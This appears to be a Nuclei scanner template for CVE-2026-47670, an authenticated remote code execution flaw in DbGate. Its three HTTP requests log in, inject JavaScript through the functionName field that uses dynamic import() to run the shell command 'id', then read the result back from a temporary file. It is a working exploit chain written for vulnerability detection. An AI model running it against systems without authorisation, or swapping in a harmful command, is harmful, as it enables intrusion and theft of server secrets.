id: CVE-2026-47670 info: name: DbGate - Remote Code Execution via Dynamic Import Bypass author: theamanrawat severity: critical description: | DbGate versions <= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import(). impact: | An authenticated user can escalate from web UI access to a root OS shell, steal infrastructure secrets from /proc/1/environ, extract other users credentials, pivot to internal networks, and install persistent backdoors. reference: - https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf - https://nvd.nist.gov/vuln/detail/CVE-2026-47670 - https://github.com/advisories/GHSA-wm5r-5qp3-5vxf classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H cvss-score: 9.4 cve-id: CVE-2026-47670 epss-score: 0.01714 epss-percentile: 0.76061 cwe-id: CWE-77 metadata: max-request: 3 verified: true shodan-query: http.title:"DbGate" fofa-query: title="DbGate" vendor: dbgate product: dbgate tags: cve,cve2026,dbgate,rce,vuln,auth variables: canary: "{{rand_text_alpha(8)}}" jslfile: "/tmp/_dbg_{{rand_text_alpha(6)}}.jsonl" flow: http(1) && http(2) && http(3) http: - raw: - | POST /auth/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"amoid":"logins","login":"{{username}}","password":"{{password}}"} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "accessToken")' condition: and internal: true extractors: - type: json name: token part: body json: - '.accessToken' internal: true - raw: - | POST /runners/load-reader HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"functionName":"csvReader\nvar _f=await import('fs');var _c=await import('child_process');var _o=_c.execSync('id').toString().trim();_f.writeFileSync('{{jslfile}}',JSON.stringify({__isStreamHeader:true,columns:[{columnName:'out'}]})+String.fromCharCode(10)+JSON.stringify({out:'{{canary}}'+' '+_o})+String.fromCharCode(10));//","props":{}} matchers: - type: dsl dsl: - 'status_code == 500' internal: true - raw: - | POST /jsldata/get-rows HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"jslid":"file://{{jslfile}}","offset":0,"limit":100} matchers-condition: and matchers: - type: word part: body words: - "{{canary}}" - type: word part: body words: - "uid=" - type: status status: - 200 # digest: 4b0a00483046022100dc5e859fd27c45b506c873824a7e5f8d14be9e0bd2b18fd19f67a82c0b54f27a022100c8566dbda4a462477103d74ec19119dfb22cf16309c6f7a6524cbe1a290b4b78:922c64590222798bb761d5b6d8e72950